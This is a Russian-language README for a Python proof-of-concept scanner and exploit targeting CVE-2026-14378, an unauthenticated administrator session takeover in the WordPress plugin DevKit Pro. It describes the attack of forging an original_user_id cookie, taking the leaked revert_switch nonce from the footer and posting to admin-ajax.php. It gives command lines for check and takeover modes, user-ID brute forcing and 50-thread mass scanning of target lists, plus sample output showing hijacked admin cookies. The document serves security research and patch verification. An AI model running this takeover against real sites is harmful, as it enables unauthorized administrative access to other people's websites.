
Python PoC-сканер и вспомогательный эксплойт для CVE-2026-14378 — захват административной сессии без аутентификации в плагине DevKit Pro для WordPress через подделку cookie original_user_id.
Сканер-доказательство концепции и вспомогательный эксплойт для CVE-2026-14378: неаутентифицированный захват сессии администратора в плагине WordPress DevKit Pro (dplugins) через некорректный поток «возврата» при переключении пользователя.
Правовая информация: Используйте только в системах, которыми вы владеете или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ незаконен. Этот репозиторий предназначен для защитных исследований, верификации и проверки исправлений.
PoC для CVE-2026-14378: DevKit Pro ≤2.3.0 захват администратора до аутентификации через поддельную cookie original_user_id + nonce revert_switch в wp_footer. check/admin + массовое сканирование.
Предлагаемые темы: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| Продукт | DevKit Pro (вендор: dplugins) |
| Тип | Обход аутентификации → полная сессия администратора (CWE-287) |
| Затронуты | Все версии ≤ 2.3.0 |
| Исправлено | 3.0.0+ (changelog) |
| CVSS 3.1 | 9.8 Критический — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | Проблема | Аутентификация |
|---|---|---|
| CVE-2026-14357 | Установка произвольного ZIP-архива темы через DPDEV_install_themes | Subscriber+ |
| CVE-2026-14378 | Захват сессии через возврат при переключении пользователя | Нет |
Этот PoC нацелен только на 14378.
Users Manager в DevKit Pro может выдавать себя за пользователей для тестирования. Когда администратор переключается на другую учётную запись, плагин сохраняет предыдущую личность в клиентской cookie:
original_user_id — ID пользователя учётной записи до переключенияКогда эта cookie присутствует, плагин отображает элемент «switch back» в wp_footer на фронтенде, включая WordPress nonce, привязанный к действию возврата.
Обработчик revert_switch (AJAX) вызывает verify_nonce_and_capability(), который некорректно проверяет manage_options для пользователя, указанного в original_user_id, вместо использования current_user_can() для фактического запрашивающего (который может быть полностью неаутентифицирован).
Атакующий может:
Cookie: original_user_id=<administrator_user_id> (обычно 1).POST на wp-admin/admin-ajax.php с action=revert_switch (или специфичным для плагина псевдонимом) и утёкшим nonce.wp_set_auth_cookie() для поддельного ID пользователя → аутентифицированная сессия администратора.Контекст официальной функции: Users Manager — switch back.
sequenceDiagram
participant A as Атакующий
participant W as WordPress (фронтенд)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: хук wp_footer
P-->>W: HTML switch-back + nonce
W-->>A: тело страницы содержит nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: проверка прав для пользователя 1, а не для атакующего
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: панель администратора
Команда check намеренно строгая: она сообщает уязвимо только если nonce switch-back появляется после подделки original_user_id.
| Наблюдение | Вероятное значение |
|---|---|
VULNERABLE — switch-back material leaked | Путь эксплойта, вероятно, работает; подтвердите в лаборатории перед admin. |
not vulnerable (check): no switch-back nonce… | Исправленный DevKit (≥ 3.0.0), плагин не установлен, Users Manager отключён (по умолчанию выключен), нестандартный путь плагина, кэш/CDN удаляет футер, или неверный сайт. |
DevKit Pro readme not confirmed | Нет публичного отпечатка readme.txt; плагин может всё ещё присутствовать, но быть скрытым — оракул остаётся решающим тестом. |
DevKit Pro <= 2.3.0 suspected + всё ещё нет nonce | Уязвимая версия может быть установлена, но функция переключения не включена или футер не отображается на тестируемых URL. |
Примечание: HTTP 200 на /wp-content/plugins/.../readme.txt, возвращающий полную HTML-страницу, — это распространённый мягкий 404 WordPress. Этот PoC проверяет содержимое readme (заголовок Plugin Name:), а не только код состояния.
pip install requests
Опционально: requirements.txt содержит закреплённый минимум:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # или: pip install requests
Не выполняет захват; только тестирует оракул nonce в футере.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
Пытается выполнить полный revert_switch и проверяет доступ к /wp-admin/.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| Флаг | Описание |
|---|---|
--user-id | ID пользователя администратора (или целевого), подделываемый в original_user_id (по умолчанию: 1) |
--brute | Перебирать ID 1..N, когда первый ID не срабатывает |
--timeout | Таймаут HTTP в секундах (по умолчанию: 25) |
--log | Добавлять успешные URL admin в файл (по умолчанию: logs.txt) |
Один URL на строку; комментарии # и дополнительные столбцы после пробела игнорируются.
# Только обнаружение (рекомендуемый первый проход)
python poc.py targets.txt
# Попытки эксплойта (только авторизованные цели)
python poc.py targets.txt admin
Если файл не передан в качестве первого аргумента, скрипт запрашивает путь к списку (то же поведение, что и у устаревших массовых сканеров).
Массовый режим использует пул потоков (50 воркеров). Настройте в poc.py, если столкнётесь с ограничениями скорости.
# FOFA / ручной импорт
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # используется только первый токен
Уязвимо (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
Не уязвимо (типичное массовое сканирование):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
Успешный admin:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…